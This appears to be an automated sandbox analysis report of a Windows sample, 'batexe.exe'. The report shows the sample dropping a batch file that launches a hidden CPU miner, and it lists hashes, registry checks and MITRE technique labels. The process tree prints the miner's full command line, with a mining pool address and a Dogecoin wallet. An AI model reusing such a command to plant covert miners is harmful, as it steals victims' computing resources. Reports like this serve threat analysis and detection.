73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
14/02/2024, 16:18

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
384	b2e.exe
3620	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3620	cpuminer-sse2.exe
3620	cpuminer-sse2.exe
3620	cpuminer-sse2.exe
3620	cpuminer-sse2.exe
3620	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5936-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5936 wrote to memory of 384	5936	batexe.exe	84
PID 5936 wrote to memory of 384	5936	batexe.exe	84
PID 5936 wrote to memory of 384	5936	batexe.exe	84
PID 384 wrote to memory of 2716	384	b2e.exe	85
PID 384 wrote to memory of 2716	384	b2e.exe	85
PID 384 wrote to memory of 2716	384	b2e.exe	85
PID 2716 wrote to memory of 3620	2716	cmd.exe	88
PID 2716 wrote to memory of 3620	2716	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5936
- C:\Users\Admin\AppData\Local\Temp\5E9B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5E9B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5E9B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:384
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\612B.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2716
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5E9B.tmp\b2e.exe

Filesize
8.5MB

MD5
f205c97630f88faf6b85d2fb702cba6c

SHA1
a14c3c25cf13eba1a5e3eaf553ddda4d58cc9794

SHA256
3728ae481be514362cff6b21e90fad0c6fc5edbafe1e6dac2785b69728655ca2

SHA512
4737abce3fb1cb35cd0d7d44caaafbed8513f066b0d19452cf2d8d91f383f9574001d9d949ba43ccd3438ef2c9ccd242821fa5c421ee88d933e7a84683f012d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\5E9B.tmp\b2e.exe

Filesize
2.7MB

MD5
fb613a01b7813b18af4344d8b83c233e

SHA1
f1ce053da75feb9d6779b42bb2a5f5474b8132b8

SHA256
a821a881cbedce2f820b8bbedc2dd4b2e0022691f517809dd035e17c701b4105

SHA512
113eda43c7c52e28315e6a9875767c3f1738873367452c0ab38b1808a034d599ac2774956dc4c87bfb70b7d5f1a5b392956272b7890e6d17d599e8cc57404143

Download Submit
C:\Users\Admin\AppData\Local\Temp\5E9B.tmp\b2e.exe

Filesize
3.7MB

MD5
bd0db3feac2422457d1bd4f95389ed1c

SHA1
30643ae56b74d603138d52bff3f287db7c2060c9

SHA256
a1262a93953a1b1a9f00d61b7cc383c8ec1817e13a218624765416ce6bd59501

SHA512
53918708263a2e35eec9fcc52500258fb892c9bbda2c75df81957cbbcce0ba967b0db01bb6ae97d2c973ac5da2897e0d92f8a209d3a6277ea67dc2e3b7e2eb78

Download Submit
C:\Users\Admin\AppData\Local\Temp\612B.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.7MB

MD5
23277ee794e5f5208fa845b890451775

SHA1
bfbdf0c59a4fb236f84a76efb233870fedd60641

SHA256
1674fc1b500c65e239325abc3a68fb0df4fa1b4ee7a8bab965d20c24b94dfbb2

SHA512
13e1239dc720d35c81956937d953a0f4c0506aef9dd8496d9aa4aff22304ef941aa56bbaabe6bc6c0cf54fc74756c673e8407fe65b4174f2e71423ce7635eeba

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.3MB

MD5
95730758601af9a6136583aca950be4e

SHA1
dc3bf5524decc005ce2d2068f913a9bb0bd6be8e

SHA256
44b9c09a1d9499dc5badd40885cbed551bd4b4bbed44f5e7d9f45fd7ff6c4d21

SHA512
7582205b304e723196b7825306dc02a6ec5dbbc13dae4fab8420021769418266221e232f27dee446e1fba88c3ed46ded91d7bb78a481490dafd9ab7d5618ea0f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.0MB

MD5
a4dc3cd75f1bee429453245576875903

SHA1
5569c5f46df63478880dcd47312a0b965aedff16

SHA256
595751682b38a45cf628f8fa3601478e6aed4093fe8424f0b7b8ed2d71c7e841

SHA512
4180cb752db62637e2126264d7e5005b7d1ead0d3858f2590bc0b1e5da7318074f9eeb88ae26f56f8387a11ac3493180a760a205ae7746501090d531c6ba4004

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/384-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/384-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3620-46-0x0000000054CD0000-0x0000000054D68000-memory.dmp

Filesize
608KB

Download
memory/3620-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3620-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3620-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3620-47-0x0000000001070000-0x0000000002925000-memory.dmp

Filesize
24.7MB

Download
memory/3620-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3620-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3620-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3620-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3620-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3620-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3620-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3620-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5936-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download